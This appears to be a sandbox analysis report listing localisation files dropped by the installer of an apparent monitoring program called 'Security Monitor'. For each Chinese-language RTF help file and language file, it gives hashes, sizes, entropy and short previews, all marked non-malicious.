Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.062621250408577
Encrypted:	false
SSDEEP:	768:pqeS48Um0GhbtabQhOsWx/LCrLXI1n8T2njX8x3Ftt4MfRMIq818Z/6A9i:pqKH+qIA9i
MD5:	E2D6C3DBD79C905DABE49F310F9A134E
SHA1:	072CB75BBAD6904B39757E423EEDA0F3CA9FA8D7
SHA-256:	0A9C5D645D90A6D3CA88495DE5D0410CE8456C6AF5C0D56E4F225B81CECC0069
SHA-512:	EEC29BB5020AE654E7A0DB369722B1AD8286D97288C40E009B26AD20A2A9CD661B5AE9CCFFF7629B378EFC98AFA505F933F36C2AF0A49E7C7FD35D3925B0BF42
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15013
Entropy (8bit):	6.013025249187838
Encrypted:	false
SSDEEP:	192:9DL/YIoCnMY+innEvlPTgFQXU516bXHsFAp/JfloqJPeNKi:9DL/YIoCnMMnEpEXyb3cAtJfav
MD5:	98FE3D6DA49E6A81B5C6A5D5ABF2E69A
SHA1:	A90458B40E3559466180B29822E0E83CC3000632
SHA-256:	FB966B8124C5CEDCEC536B5DFE54168F7AA07DC9717D4099EA67A8DF72342F50
SHA-512:	EA826D7205C882B74D20A4A0499A2966F47BD88CE01326D55B105BAA267606FE0F5C20F995762CC5E320F1273E4C06B0E6840815F2E2601A59CF7F3B12B25372
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### ....... "=".......! ############..###############################################################################..tbStart=".."..tbStartHint="...."..tbStop=".."..tbStopHint="...."..tbFind=".."..tbFindHint="......"..tbSetting=".."..tbSettingHint="...."..tbAbout=".."..tbAboutHint=".. / ...."..tbHomePage=".."..tbHomePageHint="......"..tbToday=".."..tbTodayHint="......"..tbHide=".."..tbHideHint="................"..tbMinimize="..."..tbMinimizeHint="......"..tbExit=".."..tbExitHint="......."..gbLog="...."..tCurrLogSize="....(Mb)"..tCurrScrSize="......(Mb)"..tCurrSnpSize=".........(Mb)"..tCurrSoundsSize="...... (Mb)"..tCurrVideosSize=".

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52052
Entropy (8bit):	5.0423517848490995
Encrypted:	false
SSDEEP:	768:2eFD747+kxKTllT2njX8x3xezX3MmwxXoC+zKjkMpEZI6xAzj54vWHmI9ikzmind:2ee2XMIA9o
MD5:	86DF8DBFBB9E6B68A8255BF9B36A9A79
SHA1:	49BBA097A2FA7B3AA66E58F2ECCB244444C96AD3
SHA-256:	232B3BC657DA966541951F2BCAD65B0394BA11608B61F60732E9049B70D8C46D
SHA-512:	BE429F10D254B65E0DEBA90598DEF9ABACD7C641FDF418B7FA272DED99ABA0A3C6E91CF002CEFDB43D95F54466CD0631326788D6E59628ED0A7922422E530F5A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44042
Entropy (8bit):	5.0382315831173985
Encrypted:	false
SSDEEP:	768:2QFDC47+EpRx1IKZR1yc+rROcPI0QhhiLVRtvYq14MfzCJrUwQpd8HZ/6A9u:2QDFUnUIA9u
MD5:	C87126C1EBFECCC1BE9D35D2C25360F3
SHA1:	9968DE7D3CAA691A6EB0E643E643C34B7B044F55
SHA-256:	0965D39B40A80B7EF5452ACEEEC9CE43CC5C8D6762617F8FF907444377844D14
SHA-512:	0AA0315529CA2C5D04F4A5BF4DE4991C2F8551AA38559D5C6AAD87F363B1D806457C3F33274873CFCF661646FBE2F730A4461D6ADE66C2DB36BD13AFAD5F1849
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45546
Entropy (8bit):	5.037437776894658
Encrypted:	false
SSDEEP:	768:2QFDC47+HE1KEKT2njX8x3FPzX3Mmwx1DVw22vR4YaxZ8Y21kNFp6VpXGEy5Z/61:2QDnocIA9K
MD5:	04CD296601A182A19484D83613BC117B
SHA1:	3ACCD6A59B0E72F4FC2D6559D9C31A89C25383B9
SHA-256:	0ABEDA0EF9D4D06BC44EDFF51C9A289DBA0F58A672731F0F8A1B09AFCFD7C9B7
SHA-512:	12241D241CB7FE1A79009E1B4BEB7E9051A5523A3A4182BC19E52EAA3FED4D334822D4DD2E8F2DC3EA56AD32E121C7D69D0C7EB1D1495C5132DC460B5002D0E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39768
Entropy (8bit):	5.028438731643848
Encrypted:	false
SSDEEP:	768:2zFUZ47+E29oy2lV9GEij/R0qrsT+118lsqZ/6A9B:2zdTIA9B
MD5:	A8C9AB020E61A95F3CBA163ABBF94E88
SHA1:	041D13002452D2AC0CBE8A2CC4D646B284F1B9C6
SHA-256:	2473E996CFF9D4ACA06608370BF1B5C0ACE937E4F8A1C699AAF2A5F87318D40F
SHA-512:	13FB3383203232496A3551F2D6A39F210432C5DAB33A4101564416A0069E72F86F85C000EB8ABA4C2D8E66FB7B6165A34CD60DA0A8DFA0A48165F358B2E01269
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	98587
Entropy (8bit):	4.9835874653673855
Encrypted:	false
SSDEEP:	768:2zFbmxZM+tWe275kQOSAGc1Q33Tn4eMJ/fOcPI0QhhiLVpLCrLXI1nuT2njX8x3E:2zyeUnNIwuF+bDIA9n
MD5:	B729EF1A2C1EDAB184EE72D97CCF04FA
SHA1:	0B1E8F6E750120989728E8787722DB1E6C8AECA4
SHA-256:	FF86B07534B3BA1FB795BB36C8A7E02DDCA3F591A3EB242AA9F35773BE52AA1B
SHA-512:	8F4819A8CACAE7A93CF4BA2F42EABD64A6409B42F7D41B2363A6454591B7BF6C181E8F45F4359BACE952915008CDAD0EC59E8725E784657F3DEE795A19658EA3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-17P65.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39768
Entropy (8bit):	5.028438731643848
Encrypted:	false
SSDEEP:	768:2zFUZ47+E29oy2lV9GEij/R0qrsT+118lsqZ/6A9B:2zdTIA9B
MD5:	A8C9AB020E61A95F3CBA163ABBF94E88
SHA1:	041D13002452D2AC0CBE8A2CC4D646B284F1B9C6
SHA-256:	2473E996CFF9D4ACA06608370BF1B5C0ACE937E4F8A1C699AAF2A5F87318D40F
SHA-512:	13FB3383203232496A3551F2D6A39F210432C5DAB33A4101564416A0069E72F86F85C000EB8ABA4C2D8E66FB7B6165A34CD60DA0A8DFA0A48165F358B2E01269
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-22K7B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45546
Entropy (8bit):	5.037437776894658
Encrypted:	false
SSDEEP:	768:2QFDC47+HE1KEKT2njX8x3FPzX3Mmwx1DVw22vR4YaxZ8Y21kNFp6VpXGEy5Z/61:2QDnocIA9K
MD5:	04CD296601A182A19484D83613BC117B
SHA1:	3ACCD6A59B0E72F4FC2D6559D9C31A89C25383B9
SHA-256:	0ABEDA0EF9D4D06BC44EDFF51C9A289DBA0F58A672731F0F8A1B09AFCFD7C9B7
SHA-512:	12241D241CB7FE1A79009E1B4BEB7E9051A5523A3A4182BC19E52EAA3FED4D334822D4DD2E8F2DC3EA56AD32E121C7D69D0C7EB1D1495C5132DC460B5002D0E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-3UOOI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54667
Entropy (8bit):	5.033087064941872
Encrypted:	false
SSDEEP:	768:2QFDpxZMjE/d8NwyHF2njX8x3l7G5V5V5h5G5P5N5gkBJ5qA23YtFZSEHtoGCzU/:2Q9svIA9h
MD5:	51AF8BBE0EB54E295570F088C17CBBA4
SHA1:	E8CD73723EB618FA3F9A26B7F56EAA0C9397F0C9
SHA-256:	E9E9F0B183F57BEA6BF02B6BDCBAB45B8BACDFF889CD4E6882E62C3E3F8CC4C8
SHA-512:	582D0EB523E3AA4F152A858DD15C10F5379BA981EAAC75A5B427BCE8287634AF3D14D8AC045754B5FE3BEC9CAC317EC324D72EC2519C11FAE2A9FE3D60FD1F15
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-5GJ14.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50160
Entropy (8bit):	5.04516355825557
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f95+6+WGNgVVhGPNolV9GEijPKcAPv6SAJjZR6TYqEkc0ij82oXTq:2e796RTIA9l
MD5:	D515DFD169E7F576978E8DDF94C8F57C
SHA1:	776FDAA33E7FBEFB6ECCB018DEEBEC03F23977E9
SHA-256:	3B6A48D3D59E44B95C982CD39E4F58CC7FA62237A089BDAC7844838F33C5CCD8
SHA-512:	8A61180120ED053F471874E0A8FA145071E39F89633C5C7085E84EBAC8BCC2E734E68F95D0B5C5C71CF168D5824D044D38C3C330CF2093121019D953C73A3431
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-6TMEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	98587
Entropy (8bit):	4.9835874653673855
Encrypted:	false
SSDEEP:	768:2zFbmxZM+tWe275kQOSAGc1Q33Tn4eMJ/fOcPI0QhhiLVpLCrLXI1nuT2njX8x3E:2zyeUnNIwuF+bDIA9n
MD5:	B729EF1A2C1EDAB184EE72D97CCF04FA
SHA1:	0B1E8F6E750120989728E8787722DB1E6C8AECA4
SHA-256:	FF86B07534B3BA1FB795BB36C8A7E02DDCA3F591A3EB242AA9F35773BE52AA1B
SHA-512:	8F4819A8CACAE7A93CF4BA2F42EABD64A6409B42F7D41B2363A6454591B7BF6C181E8F45F4359BACE952915008CDAD0EC59E8725E784657F3DEE795A19658EA3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-A3JKV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.0360425372195605
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f85+jpnrNgVVhGPN2lV9GEijDKcAPv6SAJjVSkVeUZ53dqaYHErLm:2e720SvIA9l
MD5:	6C1BF76AEB182845D933C43B2FD3AD7E
SHA1:	2B5CF1297A2F29E1181C2231A521E57C207D16EC
SHA-256:	972A316D680C8D41CC19BE92E617D07832A9038CE9E5EEA23F1ABCC5DA983EE4
SHA-512:	7CC2F42278CDCC2DE781C8776095C83DB4739B635CDD93299A0BF08613C198A20F640BA8488C0B0655012D57B59F413EAF7EE57481BD4EBA3F5556E079D304B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-APR2S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66281
Entropy (8bit):	5.021285329842295
Encrypted:	false
SSDEEP:	768:2QFDJw1w0kWBP+WLZdfzbwKsFPcZR1yc+rZE7feMShR/pVRVGcefxRBcnjX8x3JO:2Q4Bb6IA9Z
MD5:	B9DE79AB06478D9A6CDFB82A7578E374
SHA1:	E103E4E779C53988209B3F0F752754162A5F638B
SHA-256:	7BCF98FA23001662B53624E64A48F45581CC6A5B70D53204203184A94581041B
SHA-512:	98F38D4D6CE05FA571C3AD3EE7C8751777F2A6EFB95C619DCD55F3F873AEC2842A578CE4CC654F2AA56E015D3D29955B8C49FE38CC3CBFD1B9D9910E9C7D9EED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

